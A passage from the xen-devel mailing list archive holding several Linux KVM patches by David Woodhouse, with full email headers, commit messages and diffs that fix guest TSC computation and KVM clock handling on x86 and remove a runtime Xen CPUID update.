References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d25034/1783113832-92F3BD51-96E90A37/0/0
X-purgate-type: clean
X-purgate-size: 1721

From: David Woodhouse <dwmw@amazon.co.uk>

The compute_guest_tsc() function computes the guest TSC at a given
kernel_ns timestamp. When the master clock reference point
(master_kernel_ns) is earlier than vcpu->arch.this_tsc_nsec, the delta
is negative. Since pvclock_scale_delta() takes a u64, the negative
value wraps to a huge positive number, producing a wildly wrong result.

Handle negative deltas explicitly by negating the delta, scaling it,
and subtracting from this_tsc_write.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 376b8dc2ade9..55fb19fb7a88 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -2588,11 +2588,21 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
 
 static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
 {
-	u64 tsc = pvclock_scale_delta(kernel_ns-vcpu->arch.this_tsc_nsec,
-				      vcpu->arch.virtual_tsc_mult,
-				      vcpu->arch.virtual_tsc_shift);
-	tsc += vcpu->arch.this_tsc_write;
-	return tsc;
+	s64 delta_ns = kernel_ns - vcpu->arch.this_tsc_nsec;
+	u64 tsc;
+
+	/* Handle negative deltas gracefully (master clock ref may be earlier) */
+	if (delta_ns < 0) {
+		tsc = pvclock_scale_delta(-delta_ns,
+					  vcpu->arch.virtual_tsc_mult,
+					  vcpu->arch.virtual_tsc_shift);
+		return vcpu->arch.this_tsc_write - tsc;
+	}
+
+	tsc = pvclock_scale_delta(delta_ns,
+				  vcpu->arch.virtual_tsc_mult,
+				  vcpu->arch.virtual_tsc_shift);
+	return vcpu->arch.this_tsc_write + tsc;
 }
 
 #ifdef CONFIG_X86_64
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353901.1609669 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMZ-0007KA-2c; Fri, 03 Jul 2026 21:23:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353901.1609669; Fri, 03 Jul 2026 21:23:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMY-0007IX-QX; Fri, 03 Jul 2026 21:23:54 +0000
Received: by outflank-mailman (input) for mailman id 1353901;
 Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMW-0006v8-Lb
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMW-001XO6-2V; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a4827d9-5cb7-0a2a0a5109dd-0a2a4505dcf2-42
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482867-3cb2-0a2a45050019-5a9b5cc781b6-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:51 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059Nu-3OYm; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKV-00000001RNp-3OFP;
 Fri, 03 Jul 2026 22:21:47 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=SebBoBga7+8xvSm9Qg2DITvEgd/PpKvvHuYtx20We+A=; b=MrJT44uEu/ZgsbRjkneqpYQb+I
	C9bwJVuCznY58yJD8EdJi8FQdNVEgxGcL50Ro9AZYdMNScp+g1s1h2IFLUn2lIqqc9EYs8NUR3RGy
	6qxE3E1hl0ywiGSZI+jKomQ4xMQr+7uKuHnk/5q0xaHqpxokRZIG6n6fJrVvB2w20H2Y8vq7G+Kz/
	ypBryhHJBUZNe7TIsGAxVDdtKuU2mjrLVIBo3VZJ4w8SDZ7LzobdRT/yT+cdPuckXVbOn/8HEOmTl
	5FiE48zNpNUBhA5POfG4WA4DzdJ+VDeI0VUe2SBZrA7WCF/2WPhGmEyI6XoaCQ7zDs39P9Nk5648O
	5UZK0HgA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 01/36] KVM: x86/xen: Do not corrupt KVM clock in kvm_xen_shared_info_init()
Date: Fri,  3 Jul 2026 22:17:40 +0100
Message-ID: <20260703212145.343527-2-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c201ff/1783113832-179182B8-3037DC53/0/0
X-purgate-type: clean
X-purgate-size: 4490

From: David Woodhouse <dwmw@amazon.co.uk>

The KVM clock is an interesting thing. It is defined as "nanoseconds
since the guest was created", but in practice it runs at two *different*
rates â€” or three different rates, if you count implementation bugs.

Definition A is that it runs synchronously with the CLOCK_MONOTONIC_RAW
of the host, with a delta of kvm->arch.kvmclock_offset.

But that version doesn't actually get used in the common case, where the
host has a reliable TSC and the guest TSCs are all running at the same
rate and in sync with each other, and kvm->arch.use_master_clock is set.

In that common case, definition B is used: There is a reference point in
time at kvm->arch.master_kernel_ns (again a CLOCK_MONOTONIC_RAW time),
and a corresponding host TSC value kvm->arch.master_cycle_now. This
fixed point in time is converted to guest units (the time offset by
kvmclock_offset and the TSC Value scaled and offset to be a guest TSC
value) and advertised to the guest in the pvclock structure. While in
this 'use_master_clock' mode, the fixed point in time never needs to be
changed, and the clock runs precisely in time with the guest TSC, at the
rate advertised in the pvclock structure.

The third definition C is implemented in kvm_get_wall_clock_epoch() and
__get_kvmclock(), using the master_cycle_now and master_kernel_ns fields
but converting the *host* TSC cycles directly to a value in nanoseconds
instead of scaling via the guest TSC.

One might naÃ¯vely think that all three definitions are identical, since
CLOCK_MONOTONIC_RAW is not skewed by NTP frequency corrections; all
three are just the result of counting the host TSC at a known frequency,
or the scaled guest TSC at a known precise fraction of the host's
frequency. The problem is with arithmetic precision, and the way that
frequency scaling is done in a division-free way by multiplying by a
scale factor, then shifting right. In practice, all three ways of
calculating the KVM clock will suffer a systemic drift from each other.

Eventually, definition C should just be eliminated. Commit 451a707813ae
("KVM: x86/xen: improve accuracy of Xen timers") worked around it for
the specific case of Xen timers, which are defined in terms of the KVM
clock and suffered from a continually increasing error in timer expiry
times. That commit notes that get_kvmclock_ns() is non-trivial to fix
and says "I'll come back to that", which remains true.

Definitions A and B do need to coexist, the former to handle the case
where the host or guest TSC is suboptimally configured. But KVM should
be more careful about switching between them, and the discontinuity in
guest time which could result.

In particular, KVM_REQ_MASTERCLOCK_UPDATE will take a new snapshot of
time as the reference in master_kernel_ns and master_cycle_now, yanking
the guest's clock back to match definition A at that moment.

When invoked from in 'use_master_clock' mode, kvm_update_masterclock()
should probably *adjust* kvm->arch.kvmclock_offset to account for the
drift, instead of yanking the clock back to definition A. But in the
meantime there are a bunch of places where it just doesn't need to be
invoked at all.

To start with: there is no need to do such an update when a Xen guest
populates the shared_info page. This seems to have been a hangover from
the very first implementation of shared_info which automatically
populated the vcpu_info structures at their default locations, but even
then it should just have raised KVM_REQ_CLOCK_UPDATE on each vCPU
instead of using KVM_REQ_MASTERCLOCK_UPDATE. And now that userspace is
expected to explicitly set the vcpu_info even in its default locations,
there's not even any need for that either.

Fixes: 629b5348841a ("KVM: x86/xen: update wallclock region")
Reviewed-by: Paul Durrant <paul@xen.org>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/xen.c | 2 --
 1 file changed, 2 deletions(-)

diff --git a/arch/x86/kvm/xen.c b/arch/x86/kvm/xen.c
index 91fd3673c09a..82e34edbfdbd 100644
--- a/arch/x86/kvm/xen.c
+++ b/arch/x86/kvm/xen.c
@@ -98,8 +98,6 @@ static int kvm_xen_shared_info_init(struct kvm *kvm)
 	wc->version = wc_version + 1;
 	read_unlock_irq(&gpc->lock);
 
-	kvm_make_all_cpus_request(kvm, KVM_REQ_MASTERCLOCK_UPDATE);
-
 out:
 	srcu_read_unlock(&kvm->srcu, idx);
 	return ret;

base-commit: 2d6d57f889f3a5e7d19009c560ea2002cdde9fb8
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353903.1609678 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMa-0007WJ-1L; Fri, 03 Jul 2026 21:23:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353903.1609678; Fri, 03 Jul 2026 21:23:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMZ-0007SR-H5; Fri, 03 Jul 2026 21:23:55 +0000
Received: by outflank-mailman (input) for mailman id 1353903;
 Fri, 03 Jul 2026 21:23:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMW-0006zB-Vi
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMW-001XO6-CA; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a48282a-5cb7-0a2a0a5109dd-0a2a450aa8e8-34
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482867-e40e-0a2a450a0019-5a9b5cc7ba58-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059Nx-0xnf; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001ROD-0TOT;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=XAeJCQ+9v+mDSYHMRAWw2uzIOBs6a2aQ/+qu99zPeWk=; b=L06h6XB7ChTw5JFuRa1oGPYKJD
	pa/C7Tzgjlg4/j8Xcz0xLWravurCFkrPEx8W3oxblz5pXyRuuOucw0AfVSQ49G8Z2gokwtlVqRpUZ
	76hF5gEabMj2GhEiYzS+cxTluSHaQJf3VqmfsdAaBGUby6HcIzGDTJx1nTtkYwrlAiBOzKKn/OJLk
	NsB+IqXwT26+U20Jo6IPUmvncGBzgomgyfc+lfqu+HJCe1B3oMqqyDWXnWGzjpdTw3Yw4pvvAdIDe
	NWCOKCuauAg+5mLGmvv2MuV/AJ4pY0kVq9SZWRoaSGeGhhLb4lcny8uw6kw5j20BInWSG2/SHbvPx
	3UEsgyoQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 07/36] KVM: x86: Explicitly disable TSC scaling without CONSTANT_TSC
Date: Fri,  3 Jul 2026 22:17:46 +0100
Message-ID: <20260703212145.343527-8-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1783113832-D4B2CDDE-DEF88D8C/0/0
X-purgate-type: clean
X-purgate-size: 2365

From: David Woodhouse <dwmw@amazon.co.uk>

KVM does make an attempt to cope with non-constant TSC, and has
notifiers to handle host TSC frequency changes. However, it *only*
adjusts the KVM clock, and doesn't adjust TSC frequency scaling when
the host changes.

This is presumably because non-constant TSCs were fixed in hardware
long before TSC scaling was implemented, so there should never be real
CPUs which have TSC scaling but *not* CONSTANT_TSC.

Such a combination could potentially happen in some odd L1 nesting
environment, but it isn't worth trying to support it. Just make the
dependency explicit.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/svm/svm.c |  3 ++-
 arch/x86/kvm/vmx/vmx.c | 10 ++++++++++
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c
index e02a38da5296..c46a34aeb3df 100644
--- a/arch/x86/kvm/svm/svm.c
+++ b/arch/x86/kvm/svm/svm.c
@@ -5557,7 +5557,8 @@ static __init int svm_hardware_setup(void)
 				     XFEATURE_MASK_BNDCSR);
 
 	if (tsc_scaling) {
-		if (!boot_cpu_has(X86_FEATURE_TSCRATEMSR)) {
+		if (!boot_cpu_has(X86_FEATURE_TSCRATEMSR) ||
+		    !boot_cpu_has(X86_FEATURE_CONSTANT_TSC)) {
 			tsc_scaling = false;
 		} else {
 			pr_info("TSC scaling supported\n");
diff --git a/arch/x86/kvm/vmx/vmx.c b/arch/x86/kvm/vmx/vmx.c
index b9103de01428..54e92d94155e 100644
--- a/arch/x86/kvm/vmx/vmx.c
+++ b/arch/x86/kvm/vmx/vmx.c
@@ -2792,6 +2792,16 @@ static int setup_vmcs_config(struct vmcs_config *vmcs_conf,
 	if (!cpu_has_sgx())
 		_cpu_based_2nd_exec_control &= ~SECONDARY_EXEC_ENCLS_EXITING;
 
+	/*
+	 * KVM doesn't re-derive the TSC scaling ratio when the host TSC
+	 * frequency changes, so TSC scaling is only usable with a constant
+	 * TSC.  Clear the control here rather than in vmx_hardware_setup() so
+	 * that the per-CPU configs recomputed by vmx_check_processor_compat()
+	 * stay consistent with the golden vmcs_config.
+	 */
+	if (!boot_cpu_has(X86_FEATURE_CONSTANT_TSC))
+		_cpu_based_2nd_exec_control &= ~SECONDARY_EXEC_TSC_SCALING;
+
 	if (_cpu_based_exec_control & CPU_BASED_ACTIVATE_TERTIARY_CONTROLS)
 		_cpu_based_3rd_exec_control =
 			adjust_vmx_controls64(KVM_OPTIONAL_VMX_TERTIARY_VM_EXEC_CONTROL,
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353904.1609680 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMa-0007iL-Am; Fri, 03 Jul 2026 21:23:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353904.1609680; Fri, 03 Jul 2026 21:23:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMa-0007h5-4w; Fri, 03 Jul 2026 21:23:56 +0000
Received: by outflank-mailman (input) for mailman id 1353904;
 Fri, 03 Jul 2026 21:23:53 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMX-00071A-7M
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMW-00CejO-KM; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482835-bab6-0a2a0a5309dd-0a2a45038b46-26
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482868-ec1a-0a2a45030019-5a9b5cc7ba66-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:52 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKd-000000059OB-3OKN; Fri, 03 Jul 2026 21:23:31 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPf-1VR4;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=mAoCrW41i2oubtWoRcSbcZKOTJ7hLP/U/r8vkThOrIU=; b=SCbksCL3C6lCq63v2liwrhb2lA
	xAbzjM0Ap/EFmihcazXJMLsPc0Gy/LZbYMpy3KNL9NaNPZ08PMTpDHyMT9z4L9DQzWXqndhnhJVT/
	KaO3tzV57y2ygHn+F/s78qY2H4870En1P/JMMQzNiMI3AcHjVzKmP29ZJ27qVm3fVpi0kgOi3ocQC
	Ldb5j68wLws0DZDKidaCijCDu71rnX34BxkzVhC35mPOUB55mdo0urZogZbzzyX9H1Btken59i/zq
	quARfNTDShyil/B7FPKU929VA3Q43dAMg5lcGHrX+ePGE7kLAD/aHCLdFkn9CykhB+0xJ6rmrTdEl
	TdTctQvw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 28/36] KVM: x86: Remove runtime Xen TSC frequency CPUID update
Date: Fri,  3 Jul 2026 22:18:07 +0100
Message-ID: <20260703212145.343527-29-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113832-07B245D1-AD583B97/0/0
X-purgate-type: clean
X-purgate-size: 3099

From: David Woodhouse <dwmw@amazon.co.uk>

Remove the code in kvm_cpuid() that dynamically updates the Xen TSC
info CPUID leaf at runtime. This code was updating the wrong sub-leaf
anyway (0x40000x03/2 EAX is the *host* TSC frequency per the Xen ABI,
not the guest frequency which belongs in 0x40000x03/0 ECX).

Userspace now has all the information it needs to populate the Xen TSC
info leaves (and the generic 0x40000010 timing leaf) at vCPU setup time:

  - KVM_GET_CLOCK_GUEST returns the pvclock_vcpu_time_info structure
    containing tsc_to_system_mul and tsc_shift (Xen leaf index 1)
  - KVM_VCPU_TSC_SCALE returns the effective TSC and bus
    frequencies in kHz (Xen leaf index 2, and 0x40000010)
  - KVM_VCPU_TSC_SCALE returns the raw hardware scaling ratio for
    precise arithmetic (VMClock)

This eliminates the last instance of KVM modifying guest CPUID entries
at runtime for timing information.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/cpuid.c | 16 ----------------
 arch/x86/kvm/xen.h   | 13 -------------
 2 files changed, 29 deletions(-)

diff --git a/arch/x86/kvm/cpuid.c b/arch/x86/kvm/cpuid.c
index 621d950ec692..826637a0b72d 100644
--- a/arch/x86/kvm/cpuid.c
+++ b/arch/x86/kvm/cpuid.c
@@ -2117,22 +2117,6 @@ bool kvm_cpuid(struct kvm_vcpu *vcpu, u32 *eax, u32 *ebx,
 		} else if (function == 0x80000007) {
 			if (kvm_hv_invtsc_suppressed(vcpu))
 				*edx &= ~feature_bit(CONSTANT_TSC);
-		} else if (IS_ENABLED(CONFIG_KVM_XEN) &&
-			   kvm_xen_is_tsc_leaf(vcpu, function)) {
-			/*
-			 * Update guest TSC frequency information if necessary.
-			 * Ignore failures, there is no sane value that can be
-			 * provided if KVM can't get the TSC frequency.
-			 */
-			if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, vcpu))
-				kvm_guest_time_update(vcpu);
-
-			if (index == 1) {
-				*ecx = vcpu->arch.pvclock_tsc_mul;
-				*edx = vcpu->arch.pvclock_tsc_shift;
